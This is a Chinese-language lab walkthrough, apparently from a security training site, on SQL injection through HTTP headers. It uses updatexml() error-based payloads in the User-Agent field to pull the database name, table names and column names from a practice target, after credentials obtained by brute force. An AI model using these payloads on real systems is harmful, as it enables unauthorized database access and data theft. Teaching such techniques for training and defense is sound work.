掌控安全 -- header注入

http header注入

该注入是指利用后端验证客户端口信息(比如常用的cookie验证)或者通过http header中获取客户端的一些信息(比如useragent用户代理等其他http header字段信息),因为这些信息是会重新返回拼接到后台中的,所以再对这些信息进行sql处理,又因为后台没有进过相对应的信息处理所以构成了sql注入。

总结就是: 在传参时,后端为了验证或者获取客户端的一些信息,将这些信息存入到数据库但没有进行相关的处理,所以存在了header注入

User-Agent:

向服务器发送,包含了访问者系统引擎版本、浏览器信息的字段信息。一般服务器识别出是爬虫请求,会拒绝访问。所以此时设置User-Agent,可以将爬虫伪装成用户通过浏览器访问。

X-Forwarded-For 是一个 HTTP 扩展头部,主要是为了让 Web 服务器获取访问用户的真实 IP 地址.

updatexml (XML_document, XPath_string, new_value);

第一个参数:XML_document是String格式,为XML文档对象的名称

第二个参数:XPath_string (Xpath格式的字符串)

第三个参数:new_value,String格式,替换查找到的符合条件的数据

复制代码
updatexml() 更新xml文档的函数
语法:updatexml(目标xml内容,xml文档路径,更新的内容)
构建语句
updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)

通过爆破我们知道username 和 password 为 admin 123456

而insert into 在登录之后才能执行,也就是靶场在登录之后才能执行head注入

然而我们发现 在User-agent后边拼接字符串他的页面会报错,所以知道了在UA这里存在注入

当我们发现将User-agent改为 1','2') -- 1的时候 会绕过过滤,页面显示正常

'and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1),'2') -- 1

查询库名

这里and和or需要都试一下

然后获取到表名

'or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database()limit 0,1),0x7e),1),'2') -- 1

'or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='flag_head'limit 0,1),0x7e),1),'2') -- 1

爆数据

然后就出来了

相关推荐
weixin_459753942 小时前
golang如何实现Trace上下文传播_golang Trace上下文传播实现思路
jvm·数据库·python
weixin_444012932 小时前
PHP 中逻辑或(--)运算符的正确使用与条件逻辑重构指南
jvm·数据库·python
紫金桥软件8 小时前
紫金桥组态软件RealSCADA——筑牢电力数智化基石
安全·scada·国产工业软件·电力行业·监控组态软件
iAm_Ike8 小时前
Go 中自定义类型与基础类型间的显式类型转换详解
jvm·数据库·python
iuvtsrt8 小时前
Golang怎么实现方法集与接口的匹配_Golang如何理解值类型和指针类型实现接口的区别【详解】
jvm·数据库·python
谪星·阿凯8 小时前
内网隧道与代理实战博客
网络安全
上海云盾-小余8 小时前
域名解析被劫持怎么办?DNS 安全防护与异常修复全教程
网络·安全·ddos
科技风向标go8 小时前
**2026年Q2中国消费级监控摄像头市场观察:存量时代的竞争逻辑重构**
网络·安全·监控·户外安防
无心水8 小时前
【Hermes:安全、权限与生产环境】38、Hermes Agent 安全四层纵深:最小权限原则从理论到落地的完全指南
人工智能·安全·mcp协议·openclaw·养龙虾·hermes·honcho
tongluowan0079 小时前
MySQL中列数量及长度
数据库·mysql